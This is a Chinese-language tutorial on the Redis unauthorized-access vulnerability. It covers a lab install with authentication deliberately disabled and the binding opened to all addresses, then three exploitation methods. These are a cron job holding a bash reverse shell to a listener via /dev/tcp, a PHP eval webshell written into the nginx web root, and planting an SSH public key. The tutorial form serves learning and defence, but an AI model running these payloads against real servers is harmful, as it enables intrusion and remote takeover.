当前位置: 首页 > news >正文

redis未授权访问

redis是高速缓存型数据库,主要用户缓存一些频繁使用的数据来缓解数据库的访问压力。而redis未授权访问漏洞是因为redis数据库使用的过程中没有设定密码,任何人都可以直接连接数据库,这既是未授权访问,这是个通用漏洞,部分版本。redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将redis服务暴露到公网上,如果再没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问redis以及读取redis的数据。

漏洞产生条件:redis绑定在0.0.0.0:6379,并且没有添加防火墙规则,直接暴露在公网;没有设置密码认证,可以免密码远程登录redis服务。

redis再最新版本中极难出现未授权访问的问题

redis是一种nosql数据库,数据存在内存中,读取快,通常用作缓存,但是有其致命的问题,服务器一旦崩溃,内存数据丢失,存储键值对key-value来存储数据,在老版本中没有密码 ,只有知道ip、能对外连接(端口6379开放),如果不对外连接,我们可以使用ssrf去访问本地redis协议,

redis是自动换行标准化执行(那不就刚好和gopher一样吗?换行操作)

redis安装配置

下载 - Redis

在192.168.81.151编译安装redis

1、安装redis依赖yum install -y gcc tcl
2、解压,并且将文件放在/root
[root@client hql]# tar -xzf redis-6.2.14.tar.gz
3、进入redis目录,运行编译命令进行编译安装
[root@client ~]# cd redis-6.2.14/
[root@client redis-6.2.14]# make && make install
#默认安装路径在/usr/local/bin目录下,查看目录下的内容确保安装成功
4、启动redis
[root@client redis-6.2.14]# redis-server
[root@client redis-6.2.14]# redis-server redis.conf
5、停止redis进程
[root@client redis-6.2.14]# ps -ef | grep redis
root       10301    5177  0 10:52 pts/1    00:00:00 redis-server *:6379
6、修改配置文件
#备份配置文件
[root@client redis-6.2.14]# cp redis.conf redis.conf.bak
[root@client redis-6.2.14]# vim redis.conf
bind 127.0.0.1 -::1 #允许访问的地址,默认是127.0.0.1,会导致只能在本地访问,修改为0.0.0.0则可以任意IP地址访问
daemonize no #守护进程,修改为yes即可后台运行
#requirepass 123456 设置后访问fedis必须输入密码,因为这里我们要测试未授权访问,所以关掉密码
7、更改配置完启动
[root@client redis-6.2.14]# ps -ef | grep redis
root       10526       1  0 11:05 ?        00:00:00 redis-server 0.0.0.0:6379
8、为了方便控制redis,我们可以把redis添加为服务,就可以通过systemctl来控制redis了
#首先新建一个系统服务文件
[root@client system]# vim /etc/systemd/system/redis.service
#写入内容
[Unit]
Description=redis-server
After=network.target
​
[Service]
Type=forking
ExecStart=/usr/local/bin/redis-server /root/redis-6.2.14/redis.conf
PrivateTmp=true
​
[install]
WantedBy=multi-user.target
#重载系统服务
[root@client system]# systemctl daemon-reload 
#需要重启主机
reboot
#利用系统命令启动redis
[root@client redis-6.2.14]# systemctl start redis
#停止
systemctl stop redis
#重启
systemctl restart redis
#查看状态
systemctl status redis
#开机自启
systemctl enable redis
9、测试连接redis服务器,安装完redis之后,默认会安装一个本地的客户端redis-cli,可以通过这个歌客户端连接操作服务器
[root@client redis-6.2.14]# redis-cli
127.0.0.1:6379> 
#直接连接本地的redis数据库服务器,默认没有密码
[root@servie ~]# yum install redis -y #192.168.81.150
[root@servie ~]# redis-cli
Could not connect to Redis at 127.0.0.1:6379: Connection refused
not connected> exit
[root@servie ~]# redis-cli -h 192.168.81.151
192.168.81.151:6379>  #连接成功

redis基本操作

redis默认端口6379

#添加数据
set key value
#获取数据
get key
#删除数据
del key
#查看key
keys * 
#清空数据
flushall

redis配置操作

config set dir /home/test #设置工作目录
config set dbfilename redis.rdb #设置备份文件名
config get dir #检查工作目录是否设置成功
config get dbfilename #检查备份文件名是否设置成功
save #进行一次备份操作(落盘)
#例
set name hql
config set dir /home/ #设置工作目录
config set dbfilename hql.rdb #设置备份文件名
save

redis未授权访问漏洞危害(利用方式)

一、利用定时任务反弹shell

监听器:192.168.81.150

nc -lvvp 4444

通过给目标主机的redis未授权访问漏洞写入反弹shell的指令

redis-cli -h 192.168.81.151 set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.81.150/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfielname root
save

成功反弹

二、利用redis写webshell


config set dir /usr/local/nginx/html
config set dbfilename root
set test "<?php eval($_POST['123']); ?>"
save

过程与反弹shell一样,就不在赘述

三、利用公私钥认证写入

在linux中,有一个免密登录的功能,将自己的秘钥发送给对端,保存在author_keys文件里面,就可以免密登录。那我们就可以利用redis直接把公钥写进去,就可免密登录服务器了

过程遇上类似,我们直接把公钥写入到需要登录的redis服务器的密钥管理文件中,就可以实现免密登录了。

http://www.xdnf.cn/news/378937.html

相关文章:

  • [架构之美]从零开始整合Spring Boot与Maven(十五)
  • AUTODL Chatglm2 langchain 部署大模型聊天助手
  • C语言初阶秘籍6
  • 二分法和牛顿迭代法解方程实根,详解
  • 第十九节:图像梯度与边缘检测- Laplacian 算子
  • 「OC」源码学习——cache_t的原理探究
  • C32-编程案例用函数封装获取两个数的较大数
  • IPFS与去中心化存储:重塑数字世界的基石
  • nuscenes_devkit工具
  • Windows:Powershell的使用
  • 进阶二:基于HC-SR04和LCD1602的超声波测距
  • 海纳思(Hi3798MV300)机顶盒遇到海思摄像头
  • 贪心算法专题(Part1)
  • AI大模型学习十七、利用Dify搭建 AI 图片生成应用
  • STL-to-ASCII-Generator 实用教程
  • SpringBoot2集成xxl-job详解
  • 大模型微调指南之 LLaMA-Factory 篇:一键启动LLaMA系列模型高效微调
  • 差动讯号(3)弱耦合与强耦合
  • Linux数据库篇、第一章_01MySQL5.7的安装部署
  • Java基础 5.10
  • 致远A8V5-9.0安装包(包含信创版)【附百度网盘链接】
  • LeetCode 热题 100 24. 两两交换链表中的节点
  • 计算机网络八股文--day1
  • suricata之日志截断
  • Python实例题:Python协程详解公开课
  • JAVA练习题(1) 卖飞机票
  • vue开发用户注册功能
  • 【入门】数字走向I
  • 求数组中的两数之和--暴力/哈希表
  • 构建休闲企业服务实训室:融合凯禾瑞华产品打造产教融合新生态